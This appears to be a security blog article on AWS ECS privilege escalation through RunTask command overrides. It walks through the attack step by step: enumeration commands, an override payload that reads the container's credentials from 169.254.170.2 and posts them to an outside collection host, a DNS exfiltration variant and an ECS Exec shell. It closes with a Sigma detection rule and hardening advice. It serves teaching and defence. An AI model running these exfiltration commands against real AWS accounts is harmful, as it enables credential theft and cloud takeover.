AWS ECS Privilege Escalation: Task Definition Overrides

AWS ECS Privilege Escalation: Task Definition Overrides

Overview & Threat Landscape: The Silent IAM Boundary in Container Orchestration#

Escalate privileges in AWS ECS via task definition command overrides: harvest task IAM credentials from 169.254.170.2 and restrict RunTask policies.

In enterprise cloud environments, container orchestration platforms frequently serve as the intersection between cloud control planes and internal application logic. Within Amazon Web Services (AWS), the Elastic Container Service (ECS) is one of the most widely deployed container platforms, powering mission-critical microservices, background data processing pipelines, and continuous integration runners. However, modern cloud architectures introduce subtle privilege boundaries that are poorly understood by engineering teams. While platform security teams rigorously audit iam:PassRole permissions to prevent users from attaching privileged IAM roles to newly created infrastructure, they frequently overlook the dangerous capabilities granted by standard task execution permissions such as ecs:RunTask, ecs:StartTask, and ecs:ExecuteCommand.

This architectural oversight creates a devastating privilege escalation attack vector mapped to MITRE ATT&CK T1078.004: Valid Accounts: Cloud Accounts, T1552.005: Unsecured Credentials: Cloud Instance Metadata API, T1059.004: Command and Scripting Interpreter: Unix Shell, and T1611: Escape to Host. When an identity possesses permission to invoke ecs:RunTask on an existing cluster and task definition, security teams often assume the user is constrained to running pre-approved application workloads. However, the RunTask API specification permits callers to supply dynamic execution parameters via the --overrides flag. Through the containerOverrides structure, an attacker can silently substitute the container entrypoint, override startup command arguments, or inject adversarial environment variables.

The core threat landscape dynamics that elevate this attack vector include:

  • The Illusion of Pre-Approved Immutability: Organizations often assume that registering an ECS task definition creates an immutable execution template. While the task definition itself cannot be modified in-place (a new revision must be registered), the runtime parameters passed during invocation via ecs:RunTask are fully mutable unless explicitly restricted by complex IAM condition keys.

  • Bypassing the iam:PassRole Guardrail: AWS IAM strictly enforces iam:PassRole when a principal associates an IAM role with an AWS resource. However, on the Amazon EC2 launch type, if an existing, active task definition already specifies a high-privilege taskRoleArn (such as a database administrator role, S3 data-lake manager, or full AdministratorAccess), an attacker invoking ecs:RunTask against that existing task definition does not need iam:PassRole. The role association was already validated when an administrator registered the task definition revision.

  • Direct Access to the Task Metadata Endpoint: AWS ECS provides container workloads with temporary IAM credentials via a local link-local metadata HTTP service (169.254.170.2 or the path specified in $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI). By overriding the container command to query this link-local endpoint, an attacker forces the newly spawned container to exfiltrate its temporary AWS Security Token Service (STS) credentials directly to an external command-and-control (C2) server.

  • Stealthy Operational Execution: Unlike registering a rogue task definition, which triggers prominent RegisterTaskDefinition CloudTrail events and increments version counters in version control, launching a task with command overrides leaves existing configurations untouched. Defenders monitoring only task definition registrations completely miss the ephemeral execution of malicious containers.

Warning

Granting wildcards (*) or unconstrained resource scopes on ecs:RunTask allows any developer or compromised service identity to hijack pre-existing task definitions and inherit their attached taskRoleArn credentials.

Vulnerability & Attack Root-Cause Analysis#

: Deconstructing ecs:RunTask and Metadata Endpoint 169.254.170.2 To understand why task definition command overrides lead to instantaneous privilege escalation, security architects must deconstruct the internal identity model of AWS ECS and the execution mechanics of the RunTask API.

Dual Role Architecture: taskRoleArn vs. executionRoleArn#

Every AWS ECS task definition can define two distinct IAM roles within its configuration schema:

  • Task Execution Role (executionRoleArn): This role is assumed by the Amazon ECS Container Agent operating on the underlying host (or within AWS Fargate infrastructure). It is utilized strictly for infrastructure initialization tasks: pulling private container images from Amazon Elastic Container Registry (ECR), fetching secrets stored in AWS Systems Manager (SSM) Parameter Store or AWS Secrets Manager, and publishing container log streams to Amazon CloudWatch Logs.

  • Task Role (taskRoleArn): This role represents the application-level identity. When a task initializes, the ECS agent requests temporary STS credentials for the specified taskRoleArn from the AWS STS service and exposes them to the running container via a local HTTP endpoint. All application processes executing within the container inherit these ambient permissions.

JSON
{
  "family": "enterprise-data-pipeline",
  "executionRoleArn": "arn:aws:iam::123456789012:role/ecsTaskExecutionRole",
  "taskRoleArn": "arn:aws:iam::123456789012:role/ProductionDataPlatformAdminRole",
  "containerDefinitions": [
    {
      "name": "etl-processor",
      "image": "123456789012.dkr.ecr.us-east-1.amazonaws.com/data-etl:v3.2",
      "essential": true,
      "command": ["python", "process_pipeline.py"]
    }
  ]
}

The IAM Evaluation Flaw in ecs:RunTask Invocations The vulnerability arises from how the AWS IAM evaluation engine processes ecs:RunTask. When an engineer constructs an IAM policy intended to permit running background jobs, they commonly draft policies resembling the following permissive structure:

JSON
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowJuniorOpsTaskExecution",
      "Effect": "Allow",
      "Action": [
        "ecs:RunTask",
        "ecs:DescribeTasks"
      ],
      "Resource": "arn:aws:ecs:us-east-1:123456789012:task-definition/enterprise-data-pipeline:*"
    }
  ]
}

Administrators omit iam:PassRole from this policy under the mistaken assumption that without iam:PassRole, the user cannot escalate privileges to arbitrary IAM roles. However, in the AWS security model:

  • When iam:PassRole Is Required: The iam:PassRole authorization check is invoked when an API request attempts to assign an IAM role to an AWS resource. For example, creating an EC2 instance profile, attaching a role to an AWS Lambda function, or registering a brand new ECS task definition via ecs:RegisterTaskDefinition.

  • When iam:PassRole Is Bypassed: When invoking ecs:RunTask on the EC2 launch type using an existing task definition, the role assignment already exists inside the registered revision. The caller is not passing a new role to the service; they are merely requesting that the service instantiate an already-configured resource. Consequently, the IAM policy evaluator does not enforce an iam:PassRole check unless the request explicitly passes a new role ARN inside the overrides block. The Container Override Mechanism The ECS API specification explicitly supports dynamic parameter overriding during task dispatch. The RunTask request accepts an overrides object defined by the TaskOverride data type:

PLAINTEXT
// AWS ECS TaskOverride API Definition
interface TaskOverride {
    containerOverrides?: ContainerOverride[]
    cpu?: string
    executionRoleArn?: string
    memory?: string
    taskRoleArn?: string
}
interface ContainerOverride {
    name: string
    command?: string[]
    environment?: KeyValuePair[]
    cpu?: number
    memory?: number
}

While supplying taskRoleArn inside overrides triggers an immediate iam:PassRole authorization failure, supplying containerOverrides does not modify the task identity. Instead, it instructs the ECS container agent to ignore the default container command (e.g., ["python", "process_pipeline.py"]) and execute an attacker-supplied array of shell commands (e.g., ["/bin/sh", "-c", "curl ..."]).

Once the ECS agent instantiates the container on an EC2 instance or Fargate microVM, it exposes the container credentials via the ECS Task Metadata Service. The agent sets the environment variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI inside the container namespace:

PLAINTEXT
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI="/v2/credentials/5903b6d0-6ef1-4b2a-89a1-026857112abc"

The container can query this relative path against the link-local address 169.254.170.2 (or localhost:51679 on older agent versions):

PLAINTEXT
GET /v2/credentials/5903b6d0-6ef1-4b2a-89a1-026857112abc HTTP/1.1
Host: 169.254.170.2
Accept: /

The metadata service responds with a full JSON credential payload generated by AWS STS:

JSON
{
  "AccessKeyId": "ASIAQEXAMPLEKEY12345",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "FwoGZXIvYXdzEBYaDHEXAMPLETOKEN...",
  "Expiration": "2026-11-03T10:45:00Z",
  "RoleArn": "arn:aws:iam::123456789012:role/ProductionDataPlatformAdminRole"
}

Because the container possesses unrestricted outbound internet access in typical default VPC subnet configurations, the overridden command transmits this JSON response directly to an external attacker endpoint, completing the privilege escalation in under three seconds.

Exploit Architecture#

: Attack Flow and Credential Harvesting Flowchart The following sequence diagram illustrates the complete execution trajectory, from initial IAM enumeration to container command injection, link-local metadata harvesting, and final administrative cloud takeover.

sequenceDiagram
    autonumber
    actor Attacker as Attacker (Low-Privilege IAM Principal)
    participant ECS_API as AWS ECS Control Plane (ecs:RunTask)
    participant Host as ECS Container Host (EC2 / Fargate)
    participant Agent as ECS Container Agent
    participant Metadata as ECS Metadata Service (169.254.170.2)
    actor C2 as Attacker C2 / Listener
    participant AWS_Cloud as Target AWS Services (S3, RDS, IAM)
    Note over Attacker: Enumerate active task definitions with high-privilege taskRoleArn
    Attacker->>ECS_API: aws ecs list-task-definitions --status ACTIVE
    ECS_API-->>Attacker: TaskDefinition: prod-data-pipeline:4 (taskRoleArn: AdminRole)
    Note over Attacker: Dispatch RunTask with container command override
    Attacker->>ECS_API: RunTask(taskDefinition="prod-data-pipeline:4", overrides={containerOverrides: [{command: "curl 169.254.170.2..."}]})
    Note over ECS_API: Evaluates policy: ecs:RunTask is ALLOWED. iam:PassRole NOT evaluated!
    ECS_API->>Host: Provision container on cluster node
    Host->>Agent: Instruct agent to run container with overrides
    Agent->>Agent: Request STS token for taskRoleArn from AWS STS
    Agent->>Host: Spawn container executing overridden command
    Agent->>Metadata: Register task credentials at /v2/credentials/
    Note over Host: Container process executes attacker curl script
    Host->>Metadata: GET http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
    Metadata-->>Host: HTTP 200 OK: {AccessKeyId, SecretAccessKey, Token}
    Note over Host: Exfiltrate harvested credentials over outbound HTTPS
    Host->>C2: POST /harvest HTTP/1.1 {AccessKeyId, SecretAccessKey, Token}
    C2-->>Attacker: Relay temporary credentials to attacker CLI
    Note over Attacker: Attacker imports session tokens into AWS CLI
    Attacker->>AWS_Cloud: aws s3 ls / aws iam create-user (Using stolen taskRoleArn)
    AWS_Cloud-->>Attacker: Unrestricted Cloud Administrator Access Achieved

Attack Path Step-by-Step: From Low-Privilege IAM to Cloud Takeover#

Executing this attack requires only basic AWS CLI access with read permissions on ECS configurations and invocation rights on ecs:RunTask. Below is the complete step-by-step exploitation sequence executed from an adversarial perspective.

Phase 1: Reconnaissance & Target Identification#

The attacker begins by identifying available ECS clusters and searching for task definitions that bind administrative or high-privilege IAM roles.

POWERSHELL
### 1. Enumerate available ECS clusters in the target region

aws ecs list-clusters --region us-east-1

### 2. List all registered and active task definition families

aws ecs list-task-definitions --status ACTIVE --region us-east-1

### 3. Inspect the configuration of high-value task definitions to identify attached taskRoleArn

aws ecs describe-task-definition \

--task-definition enterprise-data-pipeline:4 \

--region us-east-1 \

--query "taskDefinition.{Family:family,TaskRole:taskRoleArn,ExecutionRole:executionRoleArn,Containers:containerDefinitions[*].name}"

If the output reveals a privileged role attached to TaskRole (such as arn:aws:iam::123456789012:role/ProductionDataPlatformAdminRole), the attacker confirms that compromising this container yields high-value cloud permissions.

Phase 2: Formulating the Command Override Payload#

The attacker constructs the JSON override payload. The payload targets the container name identified in Phase 1 (etl-processor) and overrides the default execution command with a single-line shell command that queries the link-local metadata address and exfiltrates the response via HTTP POST:

{

"containerOverrides": [

{

"name": "etl-processor",

"command": [

"sh",

"-c",

"curl -s http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI | curl -X POST -H 'Content-Type: application/json' -d @- https://c2.fastcyberdefense.com/collect"

]

}

]

}

Tip

If outbound direct HTTP egress is restricted by firewall or network security groups, attackers can encode the harvested credentials in base64 and exfiltrate them via iterative DNS queries (e.g., dig $(cat /tmp/creds | base64).c2.attacker.com).

Phase 3: Executing the Malicious RunTask Invocation#

With the override payload saved to a local file (overrides.json), the attacker triggers the task execution against the target ECS cluster:

POWERSHELL
### Launch the task with container overrides on an EC2-backed cluster

aws ecs run-task \

--cluster production-core-cluster \

--task-definition enterprise-data-pipeline:4 \

--launch-type EC2 \

--overrides file://overrides.json \

--region us-east-1

The ECS control plane verifies that the calling identity possesses ecs:RunTask on enterprise-data-pipeline:4. Because the request does not specify a new taskRoleArn or executionRoleArn inside the root of the overrides object, no iam:PassRole check is triggered. The API returns an immediate HTTP 200 confirming task placement:

{

"tasks": [

{

"taskArn": "arn:aws:ecs:us-east-1:123456789012:task/production-core-cluster/a1b2c3d4e5f67890",

"clusterArn": "arn:aws:ecs:us-east-1:123456789012:cluster/production-core-cluster",

"taskDefinitionArn": "arn:aws:ecs:us-east-1:123456789012:task-definition/enterprise-data-pipeline:4",

"lastStatus": "PROVISIONING",

"desiredStatus": "RUNNING",

"overrides": {

"containerOverrides": [

{

"name": "etl-processor",

"command": [

"sh",

"-c",

"curl -s http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI | curl -X POST -H 'Content-Type: application/json' -d @- https://c2.fastcyberdefense.com/collect"

]

}

]

}

}

],

"failures": []

}

Phase 4: Harvesting Credentials and Validating Privilege Escalation#

Within seconds, the attacker's listener receives the exfiltrated JSON payload containing temporary STS credentials. The attacker exports these credentials into their local terminal session:

POWERSHELL
### Export stolen temporary credentials into environment variables

export AWS_ACCESS_KEY_ID="ASIAQEXAMPLEKEY12345"

export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

export AWS_SESSION_TOKEN="FwoGZXIvYXdzEBYaDHEXAMPLETOKEN..."

### Verify the assumed identity

aws sts get-caller-identity

The STS validation confirms the privilege transition:

{

"UserId": "AROAQEXAMPLEKEY12345:5903b6d0-6ef1-4b2a-89a1-026857112abc",

"Account": "123456789012",

"Arn": "arn:aws:sts::123456789012:assumed-role/ProductionDataPlatformAdminRole/5903b6d0-6ef1-4b2a-89a1-026857112abc"

}

The attacker now operates with the full permissions granted to ProductionDataPlatformAdminRole, enabling unconstrained extraction of customer databases, modification of S3 storage buckets, and further lateral movement across the enterprise cloud estate. Alternative Attack Vector: Interactive Hijacking via ecs:ExecuteCommand If an attacker holds ecs:ExecuteCommand (or ecs:UpdateService with the ability to set --enable-execute-command), they do not even need to invoke RunTask. They can inject an interactive shell into an already-running container:

POWERSHELL
### 1. Enable ECS Exec on an existing production service

aws ecs update-service \

--cluster production-core-cluster \

--service customer-api-service \

--enable-execute-command \

--region us-east-1

### 2. Attach an interactive shell session using AWS Systems Manager Session Manager

aws ecs execute-command \

--cluster production-core-cluster \

--task a1b2c3d4e5f67890 \

--container api-container \

--interactive \

--command "/bin/sh" \

--region us-east-1

### 3. Inside the container shell, dump the metadata credentials directly

$ curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

Production Detection Rule: Sigma Rule for ECS Command Overrides#

Blue teams and Security Operations Centers (SOC) must monitor AWS CloudTrail event streams for suspicious RunTask and StartTask invocations that leverage containerOverrides. The following production-grade Sigma rule detects command injection and metadata harvesting payloads within ECS management events:

YAML
title: Suspicious AWS ECS Task Command Override Detected
id: e8d4f9c1-7a2b-4e31-9f12-08a34b21e890
status: stable
description: Detects AWS ECS RunTask or StartTask API calls containing containerOverrides that execute interactive shells or query link-local metadata services.
references:
    - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint.html
    - https://attack.mitre.org/techniques/T1552/005/
tags:
    - attack.privilege_escalation
    - attack.credential_access
    - attack.t1078.004
    - attack.t1552.005
    - attack.t1611
logsource:
    service: cloudtrail
    product: aws
detection:
    selection_source:
        eventSource: 'ecs.amazonaws.com'
        eventName:
            - 'RunTask'
            - 'StartTask'
    selection_overrides:
        requestParameters.overrides.containerOverrides|contains:
            - 'command'
            - 'environment'
    selection_suspicious_commands:
        requestParameters.overrides.containerOverrides|contains:
            - 'curl'
            - 'wget'
            - '169.254.170.2'
            - 'AWS_CONTAINER_CREDENTIALS'
            - '/bin/sh'
            - '/bin/bash'
            - 'python -c'
            - 'nc -e'
            - 'base64'
    condition: selection_source and selection_overrides and selection_suspicious_commands
fields:
    - eventTime
    - userIdentity.arn
    - userIdentity.userName
    - requestParameters.cluster
    - requestParameters.taskDefinition
    - requestParameters.overrides
    - responseElements.tasks.taskArn
falsepositives:
    - Automated CI/CD deployment pipelines explicitly engineered to pass dynamic environment variables or configuration flags (require baseline tuning)
level: high

Fast Cyber Defense Morning Takeaways: Bridging to Evening Hardening#

Exploiting task definition command overrides exposes a fundamental misunderstanding of the AWS IAM shared responsibility model. Granting execution permissions without restricting override parameters effectively grants the caller all permissions of any taskRoleArn associated with accessible task definitions.

Key architectural takeaways from this morning's offensive analysis include:

  • Task Execution Is an IAM Elevation Vector: Calling ecs:RunTask on an existing task definition is functionally equivalent to assuming its attached taskRoleArn if containerOverrides is permitted.

  • The Vulnerability Is Architectural, Not a Software Bug: AWS intentionally designs RunTask to support operational flexibility for batch jobs. Security lies entirely in policy authoring and condition key enforcement.

  • Preventing Unauthorized Overrides Requires Strict Condition Keys: To prevent attackers from passing arbitrary commands, organizations must implement IAM policies enforcing ecs:TaskDefinition exact-match constraints and apply Service Control Policies (SCPs) that deny ecs:RunTask unless specific tag conditions or strict parameter controls are met.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.

Executive Takeaway Table: Attack Vectors, Telemetry Signals, and Primary Mitigations#

The following matrix provides cloud security architects with an executive overview of the ECS privilege escalation attack surface, corresponding monitoring signals, and immediate engineering mitigations:

Attack Vector / Technique Primary Exploitation Mechanism Telemetry & Detection Signal Recommended Mitigation Verification Command RunTask Command Overrides (T1552.005) Caller passes containerOverrides with shell commands to harvest metadata CloudTrail RunTask event with requestParameters.overrides.containerOverrides populated Restrict IAM policies using ecs:TaskDefinition and condition keys; deny wildcards

BASH
aws iam simulate-principal-policy --action ecs:RunTask

Fargate Task Role Hijacking (T1078.004) Attacker launches serverless task with command overrides to steal STS credentials CloudWatch VPC Flow Logs showing outbound HTTP/S to unknown external IPs Implement VPC endpoints for ECS; restrict task subnet egress via security groups aws ec2 describe-vpc-endpoints --filters "Name=service-name,Values=ecs" Interactive ECS Exec Injection (T1059.004) Attacker uses ecs:ExecuteCommand to spawn interactive SSM shell in container CloudTrail ExecuteCommand events; SSM Session Manager session start logs Explicitly deny ecs:ExecuteCommand across production clusters via IAM SCP

BASH
aws ecs describe-services --query "services[*].enableExecuteCommand"

Task Definition Revision Creep (T1611) Attacker targets legacy task definitions retaining obsolete high-privilege roles CloudTrail DescribeTaskDefinition queries enumerating inactive revisions Deregister and delete obsolete task definitions containing over-privileged roles

BASH
aws ecs list-task-definitions --status INACTIVE

Metadata Endpoint Exfiltration Container process queries 169.254.170.2 to retrieve temporary session keys AWS GuardDuty finding: CredentialAccess:IAMUser/InstanceCredentialExfiltration Deploy egress proxy / Cilium network policies blocking non-essential metadata traffic Audit container network namespace routing tables

Authoritative References & Standards#

  • Amazon Web Services Documentation: Amazon ECS Task Metadata Endpoint & Credentials — AWS ECS Developer Guide

  • AWS Security Reference Architecture: IAM Policy Evaluation and Least Privilege in Container Workloads — AWS SRA Documentation

  • MITRE ATT&CK Framework: Technique T1552.005: Unsecured Credentials: Cloud Instance Metadata API — MITRE ATT&CK

  • MITRE ATT&CK Framework: Technique T1078.004: Valid Accounts: Cloud Accounts — MITRE ATT&CK Cloud

  • Sigma Project Repository: Generic CloudTrail Detection Rules for AWS Management Events — Sigma GitHub Repository

Comments